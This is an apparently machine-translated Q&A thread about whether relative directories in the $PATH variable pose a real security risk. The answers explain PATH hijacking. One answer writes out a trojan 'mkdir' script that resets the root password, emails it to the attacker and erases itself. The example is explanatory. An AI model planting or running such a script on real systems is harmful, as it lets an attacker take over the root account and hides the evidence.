我们有一个审计标志着我们在$PATH envvariables里面有相对path。 我不确定这是否是一个真正的安全问题,并希望与所有人联系,看看这是否真的是一个安全问题,还是我认为这只是一个最佳实践 。 有人可以提供关于亲属使用$PATH任何安全问题的信息吗? 谢谢
在$ PATH中有一个相对path的问题是,如果攻击者可以在文件系统中创build一个具有给定名称的文件,则可能会执行该文件。
例如: df或监控说/ var已满, du说它是/var/spool/ftp/uploads ,你会怎么做?
cd /var/spool/ftp/uploads ls -ltr
你拥有。 你甚至不会在输出中看到ls ,所以你永远不会知道。
将某些客户端网站的某些数据目录,或共享机器的/ tmp目录,或许多其他事物replace为ftp上传文件。
诚然,这不会经常发生,但存在风险,写script而不是script很容易。
您正在使用的path有两个问题。
让我们假设你有以下shell脚本作为root用来更新一些web应用程序,并且你已经在/etc/profile设置了$PATH
#!/bin/bash pushd /dev/shm git clone http://some/git/path/web_app cp -a web_app /var/www/html rm -fr web_app popd
对攻击者来说,你提供了一种方法来执行被攻击者控制的shell。 一种forms的攻击看起来像这样 – 我试图在易受攻击的脚本中颠覆对mkdir调用的控制。
attacker$ cd /dev/shm attacker$ mkdir -p apps/java/bin attacker$ vi apps/java/bin/mkdir #!/bin/bash echo "some_random_password" | passwd --stdin root echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected] /bin/mkdir $@ rm -fr /dev/shm/apps attacker$ chmod +x apps/java/bin/mkdir
然后我等你更新你的web应用程序。
现在发生什么,是易受攻击的脚本切换到/dev/shm 。 当它执行此操作并运行mkdir它会首先findapps/java/bin/mkdir程序,在这种情况下重置root密码,向新的root密码的攻击者发送电子邮件,实际调用真正的mkdir (隐藏事实实际上发生了),并从攻击path中移除。
作为根,你不知道发生了什么,一旦有效载荷被传递,证据就会被抹去。